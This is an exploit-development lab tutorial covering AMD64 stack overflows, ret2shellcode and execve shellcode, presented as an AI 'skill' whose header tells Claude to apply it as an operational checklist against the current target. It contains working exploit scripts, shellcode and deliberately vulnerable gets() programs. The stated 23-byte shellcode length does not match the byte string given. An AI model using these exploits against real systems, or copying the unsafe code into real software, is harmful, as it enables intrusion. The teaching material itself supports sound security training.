SnailSploit/Claude-Red / Skills/exploit-dev/offensive-basic-exploitation
offensive-basic-exploitation
UnverifiedSKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)
Metadata
- Skill Name: basic-exploitation
- Folder: offensive-basic-exploitation
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/5-basic-exploitation.md
Description
Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.
Trigger Phrases
Use this skill when the conversation involves any of:
basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Week 5: Basic Exploitation (Linux with Mitigations Disabled)
Overview
created by AnotherOne from @Pwn3rzs Telegram channel.
Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.
Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.
Learning Environment:
- CPU arch (default): amd64 (x86-64)
- OS: Ubuntu 24.04 LTS (Linux)
- Compiler Flags: Disable protections (
-fno-stack-protector,-no-pie,-z execstackfor ret2shellcode labs,/GS-) - ASLR: Keep enabled system-wide; disable per-process (
setarch -R) or in GDB (set disable-randomization on) for deterministic labs - Focus: Pure exploitation techniques without bypass complexity
Day 1: Environment Setup and Stack Overflow Fundamentals
- Goal: Set up exploitation lab and understand stack buffer overflow mechanics.
- Activities:
- Reading:
- "Hacking: The Art of Exploitation" 2nd edition, by Jon Erickson - Chapter 0x300: "EXPLOITATION"
- Smashing The Stack For Fun And Profit - Classic paper
- Online Resources:
- Tool Setup:
- Ubuntu VM with protections disabled
- pwntools, pwndbg, ROPgadget
- Exercise:
- Compile and exploit first vulnerable program
- Overwrite return address to execute shellcode
- Reading:
Context: QNAP Stack Overflow (CVE-2024-27130)
- Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by
strcpywithout bounds checking—exactly what we'll be exploiting today. - While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.
Deliverables
- Environment:
~/check_env.shpasses and you recorded its output - Binary:
vuln1built and verified withchecksec - Primitive proof: RIP control demonstrated (controlled crash address)
- Exploit:
exploit1.py(or equivalent) spawns a shell reliably - Notes: brief writeup covering offset, return target, and payload layout
Setting Up the Lab Environment
Ubuntu VM Configuration:
[!IMPORTANT] ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.
# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system
# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on # Default in GDB
# (gdb) set disable-randomization off # If you want ASLR during debug
# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary
# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)
# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!
# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf # Remove any persistent config
# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================
sudo apt update
sudo apt install -y \
nasm \
strace \
ltrace \
ruby \
ruby-dev \
libc6-dbg \
checksec \
patchelf
cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget
# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget
# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh
# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39
# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:
cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c
CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln
# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie
# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs
disabled: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-shellcode: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-rop: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-relro-off: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-full-relro: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
format-sec: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
# Show all protections
check:
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
clean:
rm -f $(BINARY) *.o
.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE
echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"
[!NOTE] Ubuntu 24.04:
- Uses glibc 2.39 with full safe-linking and removed hooks
- Requires
python3-venvfor pip package installation (PEP 668)- For classic heap techniques, consider using Docker with older Ubuntu
GDB Enhancement Options
Verify Setup:
mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate
# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"
# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
char buf[100];
gets(buf); // Vulnerable: reads from stdin, no bounds check
return 0;
}
EOF
make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing (effectively disabled via -z execstack)
# PIE: No PIE (0x400000)
# Stack: Executable
# RWX: Has RWX segments
# SHSTK: Enabled (Intel CET Shadow Stack - CPU feature, not binary)
# IBT: Enabled (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works
# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]
echo "=== Lab Environment Check ==="
echo ""
# System info
echo "[*] System Information:"
echo " Kernel: $(uname -r)"
echo " glibc: $(ldd --version | head -1 | awk '{print $NF}')"
echo ""
# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
0) echo " WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
1) echo " Partial ASLR (stack only)" ;;
2) echo " Full ASLR enabled (correct for system)" ;;
esac
echo ""
# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
echo "[*] Binary Analysis: $1"
echo " Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
echo ""
fi
# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo " Default: ON (disabled randomization = deterministic addresses)"
echo ""
echo "[+] Environment check complete."
echo " For per-process ASLR disable: setarch x86_64 -R ./binary"
echo " Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh
pwntools Essentials
Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.
ELF() Basics:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *
# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)
# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}") # amd64
print(f"Bits: {elf.bits}") # 64
print(f"Endian: {elf.endian}") # little
print(f"PIE enabled: {elf.pie}") # True/False
print(f"Entry point: {hex(elf.entry)}") # Where execution starts
# Security mitigations (same as checksec)
print(elf.checksec())
# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")
# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}") # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}") # GOT entry
# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")
# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")
Context Configuration (set BEFORE any pwntools operations):
# ~/exploit/2.py
from pwn import *
# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf # Sets arch='amd64', os='linux', endian='little' automatically!
# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'
# Logging level
context.log_level = 'debug' # Show all pwntools output
context.log_level = 'info' # Normal output (default)
context.log_level = 'error' # Only errors
# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef) # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # Unpack 8 bytes to integer
Understanding the Stack (AMD64)
Stack Layout (x86-64 / AMD64):
High Memory
┌─────────────────────┐
│ Command-line args │
├─────────────────────┤
│ Environment vars │
├─────────────────────┤
│ ... │
├─────────────────────┤
│ Stack Frame N │
│ ┌───────────────┐ │
│ │ Locals │ │ ← RSP (Stack Pointer)
│ ├───────────────┤ │
│ │ Saved RBP │ │ ← RBP (Base Pointer)
│ ├───────────────┤ │
│ │ Return Addr │ │ ← Overwrite target! (8 bytes on AMD64)
│ ├───────────────┤ │
│ │ (Args 7+) │ │ (First 6 args in registers!)
│ └───────────────┘ │
├─────────────────────┤
│ Stack Frame N-1 │
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Memory
AMD64 vs x86 Key Differences:
| Feature | x86 (32-bit) | AMD64 (64-bit) |
|---|---|---|
| Register prefix | E (EAX, EBP, ESP) | R (RAX, RBP, RSP) |
| Instruction pointer | EIP | RIP |
| Address size | 4 bytes | 8 bytes |
| Arguments | All on stack | RDI, RSI, RDX, RCX, R8, R9 |
| Return value | EAX | RAX |
| Syscall instruction | int 0x80 | syscall |
| Stack alignment | 4-byte | 16-byte before call |
System V AMD64 ABI Calling Convention:
; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
; RDI = arg1
; RSI = arg2
; RDX = arg3
; RCX = arg4
; R8 = arg5
; R9 = arg6
; stack = arg7+ (pushed right-to-left)
; Return value: RAX
; Example: write(1, buf, len)
mov rdi, 1 ; fd = stdout
mov rsi, buf ; buffer address
mov rdx, len ; length
call write
; Syscall convention (slightly different):
; RAX = syscall number
; RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
; syscall instruction (not int 0x80)
Function Call Mechanics (AMD64):
; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function ; Pushes 8-byte return address
; Inside function
function:
push rbp ; Save old base pointer (8 bytes)
mov rbp, rsp ; Set new base pointer
sub rsp, 0x40 ; Allocate space for locals (must maintain 16-byte alignment)
; Function body...
mov rsp, rbp ; Restore stack pointer (or: leave)
pop rbp ; Restore base pointer
ret ; Return (pops return address into RIP)
Buffer Overflow Visualization (AMD64):
Before overflow:
┌──────────────────┐
│ buffer[64] │ ← strcpy writes here
├──────────────────┤
│ saved RBP │ (8 bytes on AMD64)
├──────────────────┤
│ return address │ (8 bytes on AMD64)
└──────────────────┘
After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA... │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA │ ← return address overwritten! (8 bytes)
└──────────────────┘
When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)
First Vulnerable Program
vuln1.c:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // Vulnerable! No bounds checking, allows null bytes
printf("You entered: %s\n", buffer);
}
// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
__asm__("jmp *%rsp"); // This creates a jmp rsp gadget
}
int main() {
printf("Buffer overflow example\n");
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Compile without protections (AMD64):
cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
# -fno-stack-protector \
# -fcf-protection=none \
# -z execstack \
# -no-pie \
# -o vuln1 \
# vuln1.c
#checksec --file=./vuln1
Finding the Offset
Step 1: Cause a Crash:
# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine
python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault
Step 2: Find Exact Offset (using pattern):
#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *
context.arch = 'amd64'
# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)
# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()
In GDB with pwndbg (AMD64):
gdb ./vuln1
# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")
# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72
# So offset is 72 bytes (64 buffer + 8 saved RBP)
Verify Offset (AMD64):
# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Build payload
payload = b"A" * 72 # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe) # Overwrite return address (8 bytes)
# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()
In GDB (AMD64):
gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")
# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe <- We control the return address!
Working Exploit for vuln1 (stdin-based)
#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)
Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *
# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64 automatically
# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8 # = 72 bytes to overwrite return address
# ============ EXPLOIT ============
def exploit():
# For LEARNING: Disable ASLR, clean environment for consistent addresses
# For PRODUCTION: Use leaks and relative addressing
# NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
# before input is needed (otherwise printf buffers when piped)
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
# Alternatively, for remote targets:
# p = remote('target.host', 1337)
# Wait for prompt (important for synchronization!)
p.recvuntil(b'Enter input: ')
# ============ FIND GADGET ============
# Our vuln1.c includes a jmp rsp gadget in gadgets()
# Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
# Or use pwntools:
rop = ROP(elf)
try:
jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
except:
# Fallback: search for the bytes
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")
# ============ BUILD PAYLOAD ============
# Shellcode goes AFTER the return address (we jump to RSP)
shellcode = asm(shellcraft.amd64.linux.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")
payload = b'A' * OFFSET # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Overwrite return address with jmp rsp
payload += shellcode # Shellcode right after return addr
# RSP points here after ret!
log.info(f"Total payload: {len(payload)} bytes")
# ============ SEND PAYLOAD ============
# sendline() sends raw bytes over the pipe - null bytes work fine!
# This is the proper way to deliver exploits
p.sendline(payload)
# ============ GET SHELL ============
log.success("Payload sent! Switching to interactive mode...")
p.interactive()
def debug():
"""Debug mode - attach GDB manually"""
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
log.info("Run the following commands in a SECOND terminal")
log.info("gdb -p $(pidof vuln1)")
log.info("b vulnerable_function")
log.info("c")
pause()
p.recvuntil(b'Enter input: ')
payload = cyclic(200)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
if args.GDB:
debug()
else:
exploit()
# Usage:
# python3 exploit_vuln1.py - Run exploit
# python3 exploit_vuln1.py GDB - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems
Writing Simple Shellcode
Linux AMD64 Shellcode Basics:
Syscall Convention (AMD64):
syscallinstruction triggers syscall (NOTint 0x80!)rax= syscall numberrdi, rsi, rdx, r10, r8, r9= arguments (note: r10 instead of rcx)- Return value in
rax
execve("/bin/sh", NULL, NULL) Shellcode (AMD64):
; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)
section .text
global _start
_start:
; Clear registers
xor rsi, rsi ; rsi = NULL (argv)
xor rdx, rdx ; rdx = NULL (envp)
; Push "/bin/sh" onto stack (with NULL terminator)
xor rax, rax
push rax ; NULL terminator
mov rax, 0x68732f6e69622f2f ; "//bin/sh" in little-endian
push rax
; Set up execve
mov rdi, rsp ; rdi = pointer to "//bin/sh"
xor rax, rax
mov al, 59 ; rax = 59 (execve syscall number)
; Execute
syscall ; Trigger syscall (NOT int 0x80!)
Assemble and Extract Bytes (AMD64):
cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o
# Extract shellcode bytes
objdump -d shellcode -M intel
# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
Result (23 bytes AMD64 shellcode):
shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"
Test Shellcode Standalone (AMD64):
#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())
# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!
# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
# f.write(shellcode)
Complete Exploit
exploit1.py (AMD64):
#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)
Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)
Run with: python exploit1.py
"""
from pwn import *
# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64 automatically
offset = 72 # 64 buffer + 8 saved RBP
# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())
def exploit():
# Start process with ASLR disabled using setarch wrapper
# env={} clears environment variables for consistent stack addresses
p = process(['setarch', 'x86_64', '-R', binary], env={})
# Get buffer address by analyzing a crash:
# 1. Generate payload with dummy address:
# python3 -c "from pwn import *; ..." > payload.bin
# 2. Run and get core dump:
# ulimit -c unlimited
# env -i setarch x86_64 -R ./vuln1 < payload.bin
# 3. Analyze core to find actual buffer location:
# gdb ./vuln1 core
# RSP after ret shows where we are on stack
# Buffer = (saved RBP location) - 0x40
#
# Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
# found in GDB need adjustment for standalone execution.
buffer_addr = 0x7fffffffecc0
# Build payload:
# [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
payload = b"\x90" * 16 # NOP sled for tolerance
payload += shellcode # Stack pivot + shellcode
payload += b"A" * (offset - len(payload)) # Padding to fill offset
payload += p64(buffer_addr) # Return to start of buffer (8 bytes)
log.info(f"Shellcode length: {len(shellcode)}")
log.info(f"Total payload: {len(payload)}")
log.info(f"Jumping to: {hex(buffer_addr)}")
# Send payload via stdin
p.sendline(payload)
# Interact with shell
p.interactive()
if __name__ == "__main__":
exploit()
Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):
[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A
jmp rsporcall rspgadget provides a stable return target since RSP points to our controlled data afterret.
#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)
This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64
def find_jmp_rsp():
"""Find a jmp rsp or call rsp gadget in the binary"""
# Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
try:
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
return jmp_rsp
except StopIteration:
pass
try:
call_rsp = next(elf.search(asm('call rsp')))
log.success(f"Found call rsp at {hex(call_rsp)}")
return call_rsp
except StopIteration:
pass
# Try ROPgadget as fallback
log.warning("No jmp/call rsp in binary, trying ROPgadget...")
# Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
return None
def exploit():
offset = 72 # 64 buffer + 8 saved RBP (AMD64)
# Find jmp rsp gadget
jmp_rsp = find_jmp_rsp()
if not jmp_rsp:
log.error("No jmp rsp gadget found! Use fixed address method instead.")
return
# Shellcode (placed AFTER return address)
shellcode = asm(shellcraft.amd64.linux.sh())
# Payload layout:
# [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
# After ret: RIP = jmp_rsp, RSP points to nop sled
payload = b"A" * offset # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Return to jmp rsp (8 bytes!)
payload += b"\x90" * 16 # NOP sled (RSP lands here)
payload += shellcode # Shellcode executes
# Launch and send via stdin
p = process(binary)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
Debugging Your Exploit
When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.
Method 1: GDB Attach with pwntools
#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *
elf = ELF('./vuln1')
context.binary = elf # Sets arch=amd64
# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})
# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)
# Interact with the process
p.interactive()
Usage:
# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...
# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload
Example Debug Session Output:
After hitting the breakpoint at ret, you'll see something like:
pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00 0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e 0x4141414141414141 <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141 0x4141414141414141 <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe 0x00007ffd11d25d00 <- Return address (overwritten)
Interpreting the output:
- Buffer address:
0x7ffd11d25cd0(first A's at offset 0x8 from 0x7ffd11d25cc8) - Our A's (
0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP - Return address at
0x7ffd11d25d18contains our value0xdeadbeefcafe - Offset confirmed: 72 bytes (64 buffer + 8 saved RBP) before return address
Method 2: Step-by-Step GDB Analysis (AMD64)
# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1
# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run
# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location
# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60
# Find buffer address:
pwndbg> print $rbp - 0x40 # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72
# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)
# For automated testing with payload file:
#pwndbg> run < payload.bin
Common Debugging Scenarios:
| Symptom | Likely Cause | Debug Command |
|---|---|---|
| Crash at wrong address | Offset incorrect | cyclic -l <crash_addr> |
| Crash at correct addr but no shell | Shellcode bad or wrong location | x/20i <shellcode_addr> |
| "Illegal instruction" | Bad shellcode or architecture mismatch | Check context.binary |
| Segfault in libc | Stack alignment (AMD64!) | Add extra ret gadget |
| Works in GDB, fails outside | Environment variable difference | setarch -R ./vuln |
The GDB vs Real Execution Problem:
The stack layout differs between GDB and normal execution due to environment variables:
# See the difference
env | wc -l # Count env vars
env -i ./vuln1 # Run with empty environment
# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
